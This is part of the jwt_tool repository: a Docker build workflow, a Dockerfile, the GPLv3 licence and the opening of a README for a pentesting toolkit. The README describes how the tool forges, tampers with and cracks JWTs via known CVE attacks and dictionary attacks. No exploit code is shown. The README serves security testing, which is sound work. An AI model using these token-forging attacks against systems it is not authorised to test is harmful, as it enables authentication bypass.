├── .github
└── workflows
│ └── builddocker.yml
├── Dockerfile
├── LICENSE
├── README.md
├── common-headers.txt
├── common-payloads.txt
├── jwks-common.txt
├── jwt-common.txt
├── jwt_tool.py
├── requirements.txt
└── setup.txt
/.github/workflows/builddocker.yml:
--------------------------------------------------------------------------------
1 | name: Build and Publish Docker image
2 |
3 | on:
4 | release:
5 | types: [published]
6 |
7 | jobs:
8 | push_to_registry:
9 | name: Push Docker image to Docker Hub
10 | runs-on: ubuntu-latest
11 | steps:
12 | - name: Check out the repo
13 | uses: actions/checkout@v2
14 |
15 | - name: Log in to Docker Hub
16 | uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9
17 | with:
18 | username: ${{ secrets.DOCKER_HUB_USERNAME }}
19 | password: ${{ secrets.DOCKER_HUB_ACCESS_TOKEN }}
20 |
21 | - name: Extract metadata (tags, labels) for Docker
22 | id: meta
23 | uses: docker/metadata-action@98669ae865ea3cffbcbaa878cf57c20bbf1c6c38
24 | with:
25 | images: ticarpi/jwt_tool
26 |
27 | - name: Build and push Docker image
28 | uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc
29 | with:
30 | context: .
31 | push: true
32 | tags: ${{ steps.meta.outputs.tags }}
33 | labels: ${{ steps.meta.outputs.labels }}
34 |
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.8-alpine
2 | WORKDIR /opt
3 | COPY . /opt/jwt_tool
4 | WORKDIR /opt/jwt_tool
5 | RUN apk add gcc musl-dev
6 | RUN python3 -m pip install -r requirements.txt
7 | ENTRYPOINT ["python3","jwt_tool.py"]
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # The JSON Web Token Toolkit v2
2 | >*jwt_tool.py* is a toolkit for validating, forging, scanning and tampering JWTs (JSON Web Tokens).
3 |
4 |  
5 |
6 | 
7 |
8 | Its functionality includes:
9 | * Checking the validity of a token
10 | * Testing for known exploits:
11 | * (CVE-2015-2951) The ***alg=none*** signature-bypass vulnerability
12 | * (CVE-2016-10555) The ***RS/HS256*** public key mismatch vulnerability
13 | * (CVE-2018-0114) ***Key injection*** vulnerability
14 | * (CVE-2019-20933/CVE-2020-28637) ***Blank password*** vulnerability
15 | * (CVE-2020-28042) ***Null signature*** vulnerability
16 | * (CVE-2022-21449) ***Psychic Signature*** ECDSA vulnerability
17 | * Scanning for misconfigurations or known weaknesses
18 | * Fuzzing claim values to provoke unexpected behaviours
19 | * Testing the validity of a secret/key file/Public Key/JWKS key
20 | * Identifying ***weak keys*** via a High-speed ***Dictionary Attack***
21 | * Forging new token header and payload contents and creating a new signature with the **key** or via another attack method
22 | * Timestamp tampering
23 | * RSA and ECDSA key generation, and reconstruction (from JWKS files)
24 | * Rate-limiting for all attacks
25 | * ...and lots more!
26 |
27 | ---
28 |
29 | ## Audience
30 | This tool is written for **pentesters**, who need to check the strength of the tokens in use, and their susceptibility to known attacks. A range of tampering, signing and verifying options are available to help delve deeper into the potential weaknesses present in some JWT libraries.
31 | It has also been successful for **CTF challengers** - as CTFs seem keen on JWTs at present.
32 | It may also be useful for **developers** who are using JWTs in projects, but would like to test for stability and for known vulnerabilities when using forged tokens.
33 |
34 | ---
35 |
36 | ## Requirements
37 | This tool is written natively in **Python 3** (version 3.6+) using the common libraries, however various cryptographic funtions (and general prettiness/readability) do require the installation of a few common Python libraries.
38 | *(An older Python 2.x version of this tool is available on the legacy branch for those who need it, although this is no longer be supported or updated)*
39 |
40 | ---
41 |
42 | ## Installation
43 |
44 | ### Docker
45 | The preferred usage for jwt_tool is with the [official Dockerhub-hosted jwt_tool docker image](https://hub.docker.com/r/ticarpi/jwt_tool)
46 | The base command for running this is as follows:
47 | Base command for running jwt_tool:
48 | `docker run -it --network "host" --rm -v "${PWD}:/tmp" -v "${HOME}/.jwt_tool:/root/.jwt_tool" ticarpi/jwt_tool`
49 |
50 | By using the above command you can tag on any other arguments as normal.
51 | Note that local files in your current working directory will be mapped into the docker container's /tmp directory, so you can use them using that absolute path in your arguments.
52 | i.e.
53 | */tmp/localfile.txt*
54 |
55 | ### Manual Install
56 | Installation is just a case of downloading the `jwt_tool.py` file (or `git clone` the repo).
57 | (`chmod` the file too if you want to add it to your *$PATH* and call it from anywhere.)
58 |
59 | `$ git clone https://github.com/ticarpi/jwt_tool`
60 | `$ python3 -m pip install -r requirements.txt`
61 |
62 | On first run the tool will generate a config file, some utility files, logfile, and a set of Public and Private keys in various formats.
63 |
64 | ### Custom Configs
